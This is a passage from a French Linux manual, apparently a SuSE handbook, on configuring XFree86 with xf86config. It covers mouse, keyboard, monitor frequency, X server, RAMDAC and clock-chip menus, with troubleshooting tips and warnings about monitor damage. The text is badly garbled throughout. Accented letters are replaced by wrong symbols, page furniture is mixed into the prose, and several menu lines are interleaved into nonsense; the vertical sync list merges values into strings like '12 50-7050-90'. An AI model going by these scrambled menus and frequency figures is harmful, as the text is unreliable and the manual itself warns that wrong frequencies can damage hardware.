  16262.           peut dΘjα suffire.
  16263.  
  16264.   ~   ``Parasites''  ~  perturbations  de  l'image  lors  du  dΘplacement  de  fe-
  16265.       nΩtres ou de la visualisation de vidΘos. Ces phΘnomΦnes disparaissent
  16266.       cependant lorsque l'image affichΘe est statique.
  16267.  
  16268.       1.  RΘduire le taux de rafraεchissement de l'image, la profondeur des cou-
  16269.           leurs ou la rΘsolution.
  16270.  
  16271.       2.  RΘduire  la  frΘquence  de  mΘmorisation  de  la  carte  ou  supprimer  ou
  16272.           ajouter des cycles d'attente. Parfois possible avec set_mclk        (pas avec
  16273.           tous les chipsets !) Vous trouverez des informations plus prΘcises dans
  16274.           le  rΘpertoire  README.  Attention,  cette  option  est  dangereuse  (la  frΘ-
  16275.           quence de la carte peut dΘpasser la limite maximale admise).
  16276.  
  16277.   ~   L'Θcran devient noir au dΘmarrage de XFree86.
  16278.  
  16279.       1.  RΘduire le taux de rafraεchissement de l'image.
  16280.  
  16281.       2.  Prendre en considΘration d'autres sources d'erreurs : Rechercher dans
  16282.           le systΦme d'Θventuels conflits d'IRQ (la souris PS/2 par exemple re-
  16283.           quiert l'IRQ 12).
  16284.  
  16285.  
  16286. 8.2       Configuration avec xf86config
  16287.  
  16288. Dans  la  majeure  partie  des  cas,  SaX  se  montre  supΘrieur  au  programme
  16289. xf86config  pour la simple configuration du systΦme X Window. Mais dans
  16290. les rares cas o∙ la configuration avec SaX Θchoue, elle rΘussit en gΘnΘral avec
  16291. xf86config .
  16292.  
  16293. Voici les donnΘes nΘcessaires pour la configuration :
  16294.  
  16295.   ~   Type de la souris, interface α laquelle elle est connectΘe et dΘbit en bauds
  16296.       avec lequel elle est utilisΘe (ce dernier point est en gΘnΘral optionnel).
  16297.  
  16298.   ~   SpΘcification de la carte graphique.
  16299.  
  16300.   ~   ParamΦtres de fonctionnement du moniteur (frΘquences, etc.).
  16301.  
  16302. Si vous connaissez ces paramΦtres ou si vous avez la documentation concer-
  16303. nant votre moniteur et votre carte graphique α portΘe de la main, la configura-
  16304. tion peut commencer. Elle ne peut toutefois Ωtre effectuΘe que par l'utilisateur
  16305. `root' !
  16306.  
  16307.  
  16308.                                                                                                                                    *
  16309.  *   251
  16310. 8.  Le systΦme X Window____________________________________________________________________________________________________________*
  16311.  *_______________________________________@
  16312.  
  16313.  
  16314.  
  16315.                            La configuration est mise en route par la commande :
  16316.                            terre:/root  #  /usr/X11R6/bin/xf86config
  16317.  
  16318.  
  16319.  
  16320.                            Souris
  16321.  
  16322.                            AprΦs la page d'accueil, il vous est demandΘ, dans le premier menu, quel est
  16323.                            le type de votre souris : Il vous est proposΘ le choix suivant :
  16324.  
  16325.                            ________________________________________________________________________________________________________*
  16326.  *________||
  16327.  
  16328.                            |   1.2.MicrosoftMocompatibleus(2-buttone protocol)Systems  (3-button  protocol)                        *
  16329.  *         |
  16330.                            |                                                                                                       *
  16331.  *         |
  16332.                            |   3.  Bus  Mouse                                                                                      *
  16333.  *         |
  16334.                            |   4.  PS/2  Mouse                                                                                     *
  16335.  *         |
  16336.                            |   5.  Logitech  Mouse  (serial,  old  type,  Logitech  protocol)                                      *
  16337.  *         |
  16338.                            |                                                                                                       *
  16339.  *         |
  16340.                            |   6.  Logitech  MouseMan  (Microsoft  compatible)                                                     *
  16341.  *         |
  16342.                            |   7.  MM  Series                                                                                      *
  16343.  *         |
  16344.                            |   8.  MM  HitTablet                                                                                   *
  16345.  *         |
  16346.                            |_______________________________________________________________________________________________________*
  16347.  *________ |
  16348.  
  16349.                                             affichage α l'Θcran 8.2.1: SΘlection de la souris pour X
  16350.  
  16351.  
  16352.                            Pour la dΘtermination du type de la souris, il convient de noter que de nom-
  16353.                            breuses souris Logitech de modΦle rΘcent sont compatibles Microsoft ou uti-
  16354.                            lisent le protocole MouseMan. Le choix Bus  Mouse         inclut tous les types de
  16355.                            souris bus y compris Logitech !
  16356.  
  16357.                            La  sΘlection  du  type  de  souris  adΘquat  se  fait  en  spΘcifiant  le  numΘro  qui
  16358.                            prΘcΦde le nom. Il vous sera Θventuellement demandΘ (si vous choisissez par
  16359.                            exemple le type 1), si vous voulez activer ChordMiddle          . Ceci est indispen-
  16360.                            sable pour pouvoir activer le bouton central de certaines souris ou boules de
  16361.                            pointage (angl. trackballs) Logitech :
  16362.                                  Please  answer  the  following  question  with  either  'y'  or  'n'.
  16363.  
  16364.                                  Do  you  want  to  enable  ChordMiddle?
  16365.                            Si vous utilisez une souris α deux boutons, vous pouvez, en rΘpondant par `y'
  16366.                            α la prochaine question, activer l'Θmulation d'un troisiΦme bouton :
  16367.                                  Please  answer  the  following  question  with  either  'y'  or  'n'.
  16368.                                  Do  you  want  to  enable  Emulate3Buttons?
  16369.                            Le troisiΦme bouton est ΘmulΘ par la pression simultanΘe des deux boutons
  16370.                            de la souris simulant la pression du bouton central.
  16371.  
  16372.                            Il vous sera ensuite demandΘ α quelle interface votre souris est connectΘe :
  16373.                                  Now  give  the  full  device  name  that  the  mouse  is  connected  to,  for
  16374.                                  example  /dev/tty00.  Just  pressing  enter  will  use  the  default,
  16375.                                  /dev/mouse.  Mouse  device:
  16376.                            Si  au  cours  de  l'installation  du  systΦme  un  port  a  dΘjα  ΘtΘ  spΘcifiΘ  pour  la
  16377.                            souris, vous devriez reprendre ici le pΘriphΘrique par dΘfaut (/dev/mouse         ).
  16378.  
  16379.  
  16380.                            Clavier
  16381.  
  16382.                            Il vous est maintenant_demandΘ si la valeur Meta     (ESC) doit Ωtre associΘe α   ____
  16383.                            la touche |A____l|tde gauche et la valeur ModeShift         (AltGr) α la touche |A____l|tde
  16384.                            droite :
  16385.                                  Please  answer  the  following  question  with  either  'y'  or  'n'.
  16386.                                  Do  you  want  to  enable  these  bindings  for  the  Alt  keys?
  16387.  
  16388. 252
  16389.        ___________________________________________________________________________8.2.__Configuration_avec_xf86config______________*
  16390.  *______________________
  16391.  
  16392.  
  16393.  
  16394. Il convient ici de choisir_`y'_afin que les caractΦres du clavier accessibles_par
  16395. l'intermΘdiaire de |A_________|ltpuGrissent Ωtre tapΘs et que la touche |A____l|tde gauche
  16396. puisse Ωtre utilisΘe comme touche Meta3 .
  16397.  
  16398.  
  16399. Moniteur
  16400.  
  16401. Le moniteur doit maintenant Ωtre spΘcifiΘ. Le point critique est constituΘ par
  16402. la frΘquence horizontale et la frΘquence verticale. Celles-ci sont gΘnΘralement
  16403. indiquΘes dans la documentation qui accompagne votre moniteur.
  16404.        _______________________________________________________________________________________________________________________||
  16405.  
  16406.        ||||||||  Une erreur lors de la spΘcification des frΘquences peut entraεner la dΘtΘrio-                  |||            |
  16407.        ||||||||  ration irrΘmΘdiable de votre moniteur ! Le systΦme X Window ne s'adresse                       ||             |
  16408.        ||||||||                                                                                                 ||             |
  16409.        ||||||||  qu'α des modes vidΘo qui utilisent le moniteur avec les frΘquences indi-                       ||             |
  16410.        ||||||||  quΘes. En spΘcifiant des frΘquences pour lesquelles le moniteur n'a pas ΘtΘ                    ||             |
  16411.        ||||||||                                                                                                 ||             |
  16412.        ||||||||  conτu, vous risquez de le surcharger !                                                         ||             |
  16413.        ||||||||_______________________________________________________________________________________________________________||_
  16414.  
  16415. Vous  pouvez  aussi  retrouver  les  paramΦtres  de  fonctionnement  de  certains
  16416. moniteurs dans le fichier /usr/X11R6/lib/X11/doc/Monitors4 .
  16417.  
  16418. Pour la frΘquence horizontale vous avez le choix suivant :
  16419.  
  16420.        _______________________________________________________________________________________________________________________||||
  16421.        |||||||| hsync  in  kHz;  monitor  type  with  characteristic  modes                                                    |
  16422.        ||||||||   1  31.5;                       Standard  VGA,  640x480  @  60  Hz                                            |
  16423.        ||||||||   2  31.5  -  35.1;             Super  VGA,  800x600  @  56  Hz                                                |
  16424.        ||||||||                                                                                                                |
  16425.        ||||||||   3  31.5,  35.5;              8514  Compatible,  1024x768  @  87  Hz  interl.                                 |
  16426.        ||||||||                                     (no  800x600)                                                              |
  16427.        ||||||||   4  31.5,  35.15,  35.5;   Super  VGA,  1024x768  @  87  Hz  il.,                                             |
  16428.        ||||||||                                     800x600  @  56  Hz                                                         |
  16429.        ||||||||                                                                                                                |
  16430.        ||||||||   5  31.5  -  37.9;             Extended  Super  VGA,  800x600  @  60  Hz,                                     |
  16431.        ||||||||                                     640x480  @  72  Hz                                                         |
  16432.        ||||||||   6  31.5  -  48.5;             Non-Interlaced  SVGA,  1024x768  @  60  Hz,                                    |
  16433.        ||||||||                                                                                                                |
  16434.        ||||||||                                     800x600  @  72  Hz                                                         |
  16435.        ||||||||   7  31.5  -  57.0;             High  Frequency  SVGA,  1024x768  @  70  Hz                                    |
  16436.        ||||||||   8  31.5  -  64.3;             Monitor  that  can  do  1280x1024  @  60  Hz                                   |
  16437.        ||||||||   9  31.5  -  79.0;             Monitor  that  can  do  1280x1024  @  74  Hz                                   |
  16438.        ||||||||                                                                                                                |
  16439.        |||||||| 10  Enter  your  own  horizontal  sync  range                                                                  |
  16440.        |||||||| Enter  your  choice  (1-10):                                                                                   |
  16441.        ||||||||_______________________________________________________________________________________________________________ |
  16442.  
  16443.   affichage α l'Θcran 8.2.2: FrΘquences de balayage horizontales du moniteur
  16444.  
  16445.  
  16446. Si vous ne connaissez pas les paramΦtres exacts de votre moniteur, vous de-
  16447. vriez utiliser l'une des valeurs par dΘfaut. Avec `10', vous pouvez spΘcifier
  16448. les frΘquences exactes.
  16449.  
  16450. AprΦs la frΘquence horizontale, il vous sera demandΘ de spΘcifier la frΘquence
  16451. verticale. Il vous sera Θgalement prΘsentΘ ici une liste de sΘlection :
  16452.  
  16453. Dans ce cas aussi, il est prΘfΘrable de spΘcifier les valeurs exactes plut⌠t que
  16454. de choisir l'une des options de `1' α `4'.
  16455.  
  16456. On vous demandera alors d'entrer un nom pour l'identification du moniteur,
  16457.       Enter  an  identifier  for  your  monitor  definition:
  16458.  
  16459. le nom du constructeur,
  16460. 3      ____________________________________________________
  16461.   par exemple sous Emacs.
  16462. 4 Ces indications sont naturellement fournies sans aucune garantie !
  16463.  
  16464.  
  16465.                                                                                                                                    *
  16466.  *   253
  16467. 8.  Le systΦme X Window____________________________________________________________________________________________________________*
  16468.  *_______________________________________@
  16469.  
  16470.                            ________________________________________________________________________________________________________*
  16471.  *________||
  16472.                            |   12 50-7050-90                                                                                       *
  16473.  *         |
  16474.                            ||  3  50-100                                                                                           *
  16475.  *         ||
  16476.                            |   4  40-150                                                                                           *
  16477.  *         |
  16478.                            |   5  Enter  your  own  vertical  sync  range                                                          *
  16479.  *         |
  16480.                            |                                                                                                       *
  16481.  *         |
  16482.                            |                                                                                                       *
  16483.  *         |
  16484.                            |   Enter  your  choice  (1-5):                                                                         *
  16485.  *         |
  16486.                            |_______________________________________________________________________________________________________*
  16487.  *________ |
  16488.  
  16489.                                           affichage α l'Θcran 8.2.3: FrΘquences verticales dΘtaillΘes
  16490.  
  16491.  
  16492.  
  16493.                                  Enter  the  vendor  name  of  your  monitor:
  16494.  
  16495.                            et le modΦle de votre moniteur
  16496.                                  Enter  the  model  name  of  your  monitor:
  16497.  
  16498.                            Vous  pouvez  entrer  ici  un  nom  appropriΘ  ou  reprendre,  avec  |__________|EntrΘe,  les
  16499.                            valeurs par dΘfaut. La spΘcification du moniteur est ainsi terminΘe.
  16500.  
  16501.  
  16502.  
  16503.                            Carte graphique/Serveur X
  16504.  
  16505.                            Passons maintenant α la spΘcification de la carte graphique utilisΘe :
  16506.                                  Do  you  want  to  look  at  the  card  database?
  16507.  
  16508.                            Si vous choisissez `y' il vous sera prΘsentΘ une sΘlection de cartes graphiques
  16509.                            prΘconfigurΘes.
  16510.  
  16511.                            En indiquant le numΘro correspondant, vous pourrez choisir dans cette liste
  16512.                            une  dΘfinition  de  carte.  Vous  devriez  toutefois  Θviter  de  choisir  une  dΘfini-
  16513.                            tion α l'aveuglette car mΩme des cartes du mΩme type peuvent prΘsenter des
  16514.                            diffΘrences au niveau du circuit d'horloge (angl. clock-chip) et du RAMDAC
  16515.                            (angl. Random Access Memory Digital-to-Analogue Converter).
  16516.  
  16517.                            C'est la raison pour laquelle, bien que vous ayez dΘjα choisi une dΘfinition, il
  16518.                            vous sera encore posΘ des questions sur le circuit d'horloge et le RAMDAC
  16519.                            α certaines Θtapes plus avancΘes de la configuration. Il vous sera alors prΘ-
  16520.                            sentΘ, comme option supplΘmentaire, un paramΦtre par dΘfaut provenant de
  16521.                            la dΘfinition de la carte.
  16522.  
  16523.                            Les dΘfinitions de la carte contiennent des informations sur le circuit d'hor-
  16524.                            loge, le RAMDAC et le serveur X α utiliser. vous trouverez le cas ΘchΘant de
  16525.                            prΘcieuses indications pour la manipulation de la carte dans la section Device
  16526.                            du fichier XF86Config.
  16527.  
  16528.                            Si la carte que vous cherchez n'est pas mentionnΘe, vous n'avez aucune rai-
  16529.                            son de vous inquiΘter. Dans ce cas, il est vous possible de revenir α la confi-
  16530.                            guration normale avec `q'. Vous ne devriez toutefois sΘlectionner une carte
  16531.                            graphique que si elle concorde exactement avec la carte utilisΘe ! Il n'est pas
  16532.                            recommandΘ de choisir une carte ayant un nom similaire. La similitude des
  16533.                            noms est loin de signifier que le matΘriel est Θgalement similaire : : :
  16534.  
  16535.                            Vous trouverez des informations complΘmentaires sur la configuration de la
  16536.                            carte graphique au paragraphe 8.3 page 259.
  16537.  
  16538.                            AprΦs la spΘcification de la carte, passons maintenant α la sΘlection du ser-
  16539.                            veur X. Vous pouvez choisir :
  16540.  
  16541.  
  16542. 254
  16543.        ___________________________________________________________________________8.2.__Configuration_avec_xf86config______________*
  16544.  *______________________
  16545.        ||||||||                                                                                                                |
  16546.        _______________________________________________________________________________________________________________________||||
  16547.  
  16548.        ||||||||   1  TheanXF86_Monoy server.VGThisA-acomonochromempserveratthatibshouldleworkcaonrd,  in  640x480  (more  on  some|*
  16549.  * SVGA  chipsets).
  16550.        |||||||||  2  The  XF86_VGA16  server.  This  is  a  16-color  VGA  server  that  should                                ||
  16551.  
  16552.        ||||||||      work  on  any  VGA-compatible  card.                                                                      |
  16553.        ||||||||   3  The  XF86_SVGA  server.  This  is  a  256  color  SVGA  server  that  supports                            |
  16554.        ||||||||      a  number  of  SVGA  chipsets.  It  is  accelerated  on  some  Cirrus  and  WD                            |
  16555.        ||||||||                                                                                                                |
  16556.        ||||||||      chipsets;  it  supports  16/32-bit  color  on  certain  Cirrus                                            |
  16557.        ||||||||      configurations.                                                                                           |
  16558.        ||||||||   4  The  accelerated  servers.  These  include  XF86_S3,  XF86_Mach32,                                        |
  16559.        ||||||||      XF86_Mach8,  XF86_8514,  XF86_P9000,  XF86_AGX,  XF86_W32  and                                            |
  16560.        ||||||||                                                                                                                |
  16561.        ||||||||      XF86_Mach64.                                                                                              |
  16562.        ||||||||                                                                                                                |
  16563.        ||||||||   These  four  server  types  correspond  to  the  four  different  "Screen"                                   |
  16564.        ||||||||                                                                                                                |
  16565.        ||||||||   sections  in  XF86Config  (vga2,  vga16,  svga,  accel).                                                     |
  16566.        ||||||||                                                                                                                |
  16567.        ||||||||   5  Choose  the  server  from  the  card  definition,  XF86_S3.                                               |
  16568.        ||||||||                                                                                                                |
  16569.        ||||||||                                                                                                                |
  16570.        ||||||||   Which  one  of  these  four  screen  types  do  you  intend  to  run                                         |
  16571.        ||||||||   by  default  (1-4)?                                                                                          |
  16572.        ||||||||_______________________________________________________________________________________________________________ |
  16573.  
  16574.                      affichage α l'Θcran 8.2.4: SΘlection du serveur X
  16575.  
  16576.  
  16577.  
  16578. 1   Un serveur pour moniteurs monochromes. Il devrait fonctionner avec n'im-
  16579.       porte  quelle  carte  graphique  compatible  VGA  et  fournir  au  moins  une
  16580.       rΘsolution de 640x480 pixels.
  16581.  
  16582. 2   Le  serveur  16  couleurs  XF86`VGA16.  Il  devrait  fonctionner  avec  n'im-
  16583.       porte quelle carte graphique compatible VGA.
  16584.  
  16585. 3   Le  serveur  SVGA  XF86`SVGA.  Ce  serveur  256  couleurs  supporte  un
  16586.       grand nombre de cartes SVGA. Certaines cartes Cirrus et WD permettent
  16587.       l'accΘlΘration  de  l'affichage  en  mode  graphique.  Avec  certaines  cartes
  16588.       Cirrus  il  est  Θgalement  possible  d'activer  le  mode  couleur  16  bits  ou
  16589.       32 bits.
  16590.  
  16591. 4   Serveur pour cartes graphiques accΘlΘratrices. Vous avez ici le choix entre
  16592.       plusieurs serveurs (voir affichage 8.2.4).
  16593.  
  16594. 5   Cette  option  n'est  prΘsente  que  dans  le  cas  o∙  une  dΘfinition  de  carte  a
  16595.       ΘtΘ spΘcifiΘe dans la sΘlection prΘcΘdente. On vous propose ici le serveur
  16596.       appropriΘ α la carte sΘlectionnΘe.
  16597.  
  16598.  
  16599. Si vous avez sΘlectionnΘ un serveur, on vous demande alors si un lien symbo-
  16600. lique pointant du serveur sur /usr/X11R6/bin/X doit Ωtre ΘditΘ. Si vous rΘ-
  16601. pondez `y', il vous sera demandΘ si le lien doit Ωtre crΘΘ dans /var/X11R6/
  16602. bin :
  16603.       Do  you  want  to  set  it  in  /var/X11R6/bin?
  16604.  
  16605. Vous devez absolument rΘpondre α cette question par l'affirmative car il peut
  16606. arriver qu'il ne soit pas possible d'Θcrire sur l'arborescence /usr.
  16607.  
  16608. Ensuite, il apparaεt Θventuellement (si plus haut vous avez sΘlectionnΘ `4') un
  16609. menu qui vous propose les serveurs X disponibles pour les cartes graphiques
  16610. accΘlΘratrices :
  16611.  
  16612. Chacun de ces serveurs supporte la carte correspondante. La crΘation du lien
  16613. requiert l'installation prΘalable du serveur adΘquat. Cela signifie que ce ser-
  16614.  
  16615.  
  16616.                                                                                                                                    *
  16617.  *   255
  16618. 8.  Le systΦme X Window____________________________________________________________________________________________________________*
  16619.  *_______________________________________@
  16620.  
  16621.                            ________________________________________________________________________________________________________*
  16622.  *________||||
  16623.  
  16624.                            |   Select  an  accel  server:                                                                          *
  16625.  *         |
  16626.                            ||  1  XF86_S3                                                                                          *
  16627.  *         ||
  16628.  
  16629.                            |   2  XF86_Mach32                                                                                      *
  16630.  *         |
  16631.                            |   3  XF86_Mach8                                                                                       *
  16632.  *         |
  16633.                            |   4  XF86_8514                                                                                        *
  16634.  *         |
  16635.                            |                                                                                                       *
  16636.  *         |
  16637.                            |   5  XF86_P9000                                                                                       *
  16638.  *         |
  16639.                            |   6  XF86_AGX                                                                                         *
  16640.  *         |
  16641.                            |   7  XF86_W32                                                                                         *
  16642.  *         |
  16643.                            |                                                                                                       *
  16644.  *         |
  16645.                            |   8  XF86_MACH64                                                                                      *
  16646.  *         |
  16647.                            |                                                                                                       *
  16648.  *         |
  16649.                            |   Which  accel  server:                                                                               *
  16650.  *         |
  16651.                            |_______________________________________________________________________________________________________*
  16652.  *________ |
  16653.  
  16654.                                       affichage α l'Θcran 8.2.5: Serveurs X pour cartes accΘlΘratrices
  16655.  
  16656.  
  16657.  
  16658.                            veur doit dΘjα avoir ΘtΘ sΘlectionnΘ lors de l'installation du systΦme X Win-
  16659.                            dow.
  16660.  
  16661.                            AprΦs la sΘlection du serveur X, la carte graphique doit encore Ωtre spΘcifiΘe
  16662.                            de faτon plus prΘcise. On vous demandera tout d'abord quelle est la quantitΘ
  16663.                            de mΘmoire de votre carte :
  16664.  
  16665.                            ________________________________________________________________________________________________________*
  16666.  *________||
  16667.                            |   How  much  video  memory  do  you  have  on  your  video  card:                                     *
  16668.  *         |
  16669.                            |                                                                                                       *
  16670.  *         |
  16671.                            |   1  256K                                                                                             *
  16672.  *         |
  16673.                            |   2  512K                                                                                             *
  16674.  *         |
  16675.                            |                                                                                                       *
  16676.  *         |
  16677.                            |   3  1024K                                                                                            *
  16678.  *         |
  16679.                            |   4  2048K                                                                                            *
  16680.  *         |
  16681.                            |   5  4096K                                                                                            *
  16682.  *         |
  16683.                            |   6  Other                                                                                            *
  16684.  *         |
  16685.                            |                                                                                                       *
  16686.  *         |
  16687.                            |                                                                                                       *
  16688.  *         |
  16689.                            |   Enter  your  choice:                                                                                *
  16690.  *         |
  16691.                            |_______________________________________________________________________________________________________*
  16692.  *________ |
  16693.  
  16694.                                         affichage α l'Θcran 8.2.6: SpΘcification de la mΘmoire vidΘo
  16695.  
  16696.  
  16697.  
  16698.                            Ensuite, il vous sera demandΘ le nom, le constructeur et le type_de_votre carte.
  16699.                            Si une carte a ΘtΘ sΘlectionnΘe, il vous suffit d'appuyer sur |_____-|.
  16700.                                  Enter  an  identifier  for  your  video  card  definition:
  16701.  
  16702.                                  Enter  the  vendor  name  of  your  video  card:
  16703.  
  16704.                                  Enter  the  model  (board)  name  of  your  video  card:
  16705.                            Si le serveur X que vous avez choisi est un serveur pour cartes accΘlΘratrices,
  16706.                            il vous sera demandΘ quel est le RAMDAC de votre carte. Ceci n'a d'impor-
  16707.                            tance que pour les serveurs S3 et AGX.
  16708.  
  16709.                            Dans la majeure partie des cas, il est prΘfΘrable de presser la touche |E__________|ntrΘe
  16710.                            sans  faire  aucune  sΘlection.  Si  vous  avez  choisi  une  carte  qui  supporte  un
  16711.                            RAMDAC dΘterminΘ, ceci sera affichΘ et c'est cette sΘlection que vous devrez
  16712.                            faire.
  16713.  
  16714.                            AprΦs avoir rΘpondu α ces questions, vous pourrez Θventuellement sΘlection-
  16715.                            ner le circuit d'horloge pour les cartes accΘlΘratrices. La sΘlection d'un circuit
  16716.                            d'horloge rend superflues les lignes de valeurs d'horloge car les frΘquences
  16717.                            d'horloge nΘcessaires peuvent Ωtre programmΘes :
  16718.  
  16719.  
  16720. 256
  16721.        ___________________________________________________________________________8.2.__Configuration_avec_xf86config______________*
  16722.  *______________________||
  16723.        ||||||||                                                                                                                |
  16724.        _______________________________________________________________________________________________________________________||
  16725.        ||||||||    1   AT&T  20C490  (S3  server)                                       att20c490                              |
  16726.        ||||||||    2   AT&T  20C498/21C498/22C498  (S3)                            att20c498                                   |
  16727.        ||||||||                                                                                                                |
  16728.        ||||||||    3   AT&T  20C505  (S3)                                                  att20c505                           |
  16729.        ||||||||    4   BrookTree  BT481  (AGX)                                          bt481                                  |
  16730.        ||||||||    5   BrookTree  BT482  (AGX)                                          bt482                                  |
  16731.        ||||||||    6   BrookTree  BT485/9485  (S3)                                    bt485                                    |
  16732.        ||||||||                                                                                                                |
  16733.        ||||||||    7   Sierra  SC15025  (S3,  AGX)                                     sc15025                                 |
  16734.        ||||||||    8   S3  GenDAC  (86C708)  (autodetected)                       s3gendac                                     |
  16735.        ||||||||    9   S3  SDAC  (86C716)  (autodetected)                           s3_sdac                                    |
  16736.        ||||||||   10   STG-1700  (S3)                                                      stg1700                             |
  16737.        ||||||||                                                                                                                |
  16738.        ||||||||   11   TI  3020  (S3)                                                        ti3020                            |
  16739.        ||||||||   12   TI  3025  (S3)                                                        ti3025                            |
  16740.        ||||||||   13   TI  3020  (S3,  autodetected)                                  ti3020                                   |
  16741.        ||||||||   14   TI  3025  (S3,  autodetected)                                  ti3025                                   |
  16742.        ||||||||                                                                                                                |
  16743.        ||||||||   15   TI  3026  (S3,  autodetected)                                  ti3026                                   |
  16744.        ||||||||   16   IBM  RGB  514  (S3,  autodetected)                            ibm_rgb514                                |
  16745.        ||||||||   17   IBM  RGB  524  (S3,  autodetected)                            ibm_rgb524                                |
  16746.        ||||||||   18   IBM  RGB  525  (S3,  autodetected)                            ibm_rgb525                                |
  16747.        ||||||||                                                                                                                |
  16748.        ||||||||   19   IBM  RGB  526  (S3)                                                  ibm_rgb526                         |
  16749.        ||||||||   20   IBM  RGB  528  (S3,  autodetected)                            ibm_rgb528                                |
  16750.        ||||||||   21   ICS5342  (S3,  ARK)                                                ics5342                              |
  16751.        ||||||||                                                                                                                |
  16752.        ||||||||   22   ICS5341  (W32)                                                      ics5341                             |
  16753.        ||||||||   23   IC  Works  w30C516  ZoomDac  (ARK)                            zoomdac                                   |
  16754.        ||||||||   24   Normal  DAC                                                           normal                            |
  16755.        ||||||||_______________________________________________________________________________________________________________ |
  16756.  
  16757.                   affichage α l'Θcran 8.2.7: SpΘcification du RAMDAC
  16758.  
  16759.        _______________________________________________________________________________________________________________________||||
  16760.        ||||||||   1   Chrontel  8391                                                            ch8391                         |
  16761.        ||||||||   2   ICD2061A  and  compatibles  (ICS9161A,  DCS2824)             icd2061a                                    |
  16762.        ||||||||   3   ICS2595                                                                      ics2595                     |
  16763.        ||||||||   4   ICS5342  (similar  to  SDAC,  but  not  completely  compatible)                                          |
  16764.        ||||||||                                                                                                                |
  16765.        ||||||||                                                                                        ics5342                 |
  16766.        ||||||||   5   ICS5341                                                                      ics5341                     |
  16767.        ||||||||   6   S3  GenDAC  (86C708)  and  ICS5300  (autodetected)           s3gendac                                    |
  16768.        ||||||||                                                                                                                |
  16769.        ||||||||   7   S3  SDAC  (86C716)                                                        s3_sdac                        |
  16770.        ||||||||   8   STG  1703  (autodetected)                                             stg1703                            |
  16771.        ||||||||   9   Sierra  SC11412                                                           sc11412                        |
  16772.        |||||||| 10   TI  3025  (autodetected)                                               ti3025                             |
  16773.        ||||||||                                                                                                                |
  16774.        |||||||| 11   TI  3026  (autodetected)                                               ti3026                             |
  16775.        |||||||| 12   IBM  RGB  51x/52x  (autodetected)                                  ibm_rgb5xx                             |
  16776.        ||||||||_______________________________________________________________________________________________________________ |
  16777.  
  16778.               affichage α l'Θcran 8.2.8: SpΘcification du circuit d'horloge
  16779.  
  16780.  
  16781.  
  16782. Si vous utilisez une_carte_graphique_sans circuit d'horloge, il vous suffit de
  16783. presser la touche |_________E|ntrΘepour ne pas sΘlectionner de circuit d'horloge. Si une
  16784. carte graphique a ΘtΘ choisie dans le menu de sΘlection, le circuit d'horloge,
  16785. si celui-ci existe, sera automatiquement affichΘ.
  16786.  
  16787. Si aucun circuit d'horloge n'a ΘtΘ sΘlectionnΘ, xf86config  vous proposera de
  16788. lancer X -probeonly  afin de dΘterminer les synchronisations (angl. timings)
  16789. supportΘes par la carte. Celles-ci seront inscrites dans une ligne Clocks      (ligne
  16790. de valeurs d'horloge) du fichiers XF86Config.
  16791.  
  16792. Il s'impose ici de prΘciser pourquoi les synchronisations dΘterminΘes auto-
  16793. matiquement  peuvent  s'avΘrer  trΦs  dangereuses  :  Si  la  carte  graphique  est
  16794. dotΘe d'un circuit d'horloge programmable le serveur X ne peut pas, lors de
  16795. la dΘtection, basculer entre les diffΘrentes frΘquences d'horloge (angl. clocks)
  16796.  
  16797.  
  16798.                                                                                                                                    *
  16799.  *   257
  16800. 8.  Le systΦme X Window____________________________________________________________________________________________________________*
  16801.  *_______________________________________@
  16802.  
  16803.  
  16804.  
  16805.                            de la carte et ne reconnaεt alors que les clocks 0, 1 et occasionnellement 2.
  16806.                            Toutes les autres valeurs sont plus ou moins dues au hasard (en gΘnΘral les
  16807.                            valeurs des clocks 0, 1 et 2 se rΘpΦtent et sont remplacΘes par des zΘros).
  16808.  
  16809.                            Toutes les valeurs, α l'exception de celles des clocks 0 et 1, dΘpendent dans
  16810.                            une trΦs large mesure de la programmation initiale du circuit d'horloge. La
  16811.                            clock  2  peut  trΦs  bien  avoir,  au  moment  de  la  dΘtection,  une  autre  valeur
  16812.                            (inscrite dans le fichier XF86Config) que lors d'un dΘmarrage ultΘrieur du
  16813.                            serveur  X.  Toutes  les  synchronisations  sont  alors  erronΘes  et  le  moniteur
  16814.                            risque d'Ωtre endommagΘ.
  16815.  
  16816.                            Un indice permettant de reconnaεtre un circuit d'horloge programmable (et
  16817.                            les problΦmes qui en dΘcoulent) est la prΘsence de toute une sΘrie de zΘros ou
  16818.                            de valeurs de synchronisation se rΘpΦtant continuellement. De telles valeurs
  16819.                            ne doivent en aucun cas Ωtre inscrites dans le fichier XF86Config !
  16820.  
  16821.                            Il est donc conseillΘ, lors de la dΘtermination des circuits d'horloge ou des
  16822.                            synchronisations, d'adopter la stratΘgie suivante :
  16823.  
  16824.                              ~   SpΘcifiez   de   prΘfΘrence   un   circuit   d'horloge   programmable   s'il
  16825.                                  en  existe  un.  Il  sera  alors  programmΘ  en  consΘquence  et  le  fichier
  16826.                                  XF86Config  ne  contiendra  pas  de  valeurs  de  frΘquences.  Mais  vous
  16827.                                  pouvez aussi comparer les circuits d'horloge de la carte avec ceux pro-
  16828.                                  posΘs dans le menu et trouver ainsi celui qui convient. Presque toutes les
  16829.                                  cartes S3 modernes sont dotΘes d'un circuit d'horloge programmable.
  16830.  
  16831.                              ~   Si  votre  carte  graphique  n'a  pas  de  circuit  d'horloge  programmable,
  16832.                                  lancez alors X  -probeonly           et comparez (α un moment o∙ votre machine
  16833.                                  ne  fonctionne  pas  α  plein  rendement)  les  valeurs  d'horloge  qui  ont  ΘtΘ
  16834.                                  dΘterminΘes avec celles mentionnΘes dans la documentation qui accom-
  16835.                                  pagne votre carte graphique. Si les valeurs concordent approximativement
  16836.                                  ( 2), inscrivez-les dans le fichier XF86Config.
  16837.  
  16838.                                  Si  rien  n'est  mentionnΘ  dans  votre  documentation,  vous  pouvez  dΘter-
  16839.                                  miner  les  valeurs  de  synchronisation  avec  X  -probeonly           (si  possible
  16840.                                  lorsque votre machine n'est pas trop chargΘe). VΘrifiez si les valeurs re-
  16841.                                  connues  sont  correctes  car  certaines  cartes  ne  permettent  pas  de  recon-
  16842.                                  naεtre les valeurs d'horloge (de nombreux zΘros ou des valeurs se rΘpΘ-
  16843.                                  tant continuellement donnent tout lieu de penser que les valeurs ne sont
  16844.                                  pas  correctes).  Inscrivez  ensuite  vous-mΩme  les  valeurs  exactes  dans  le
  16845.                                  fichier XF86Config. N'omettez aucune des valeurs et n'essayez pas d'en
  16846.                                  changer  l'ordre  ni  de  les  modifier  de  quelque  maniΦre  que  ce  soit.  Les
  16847.                                  valeurs doivent Ωtre inscrites exactement dans le mΩme ordre.
  16848.  
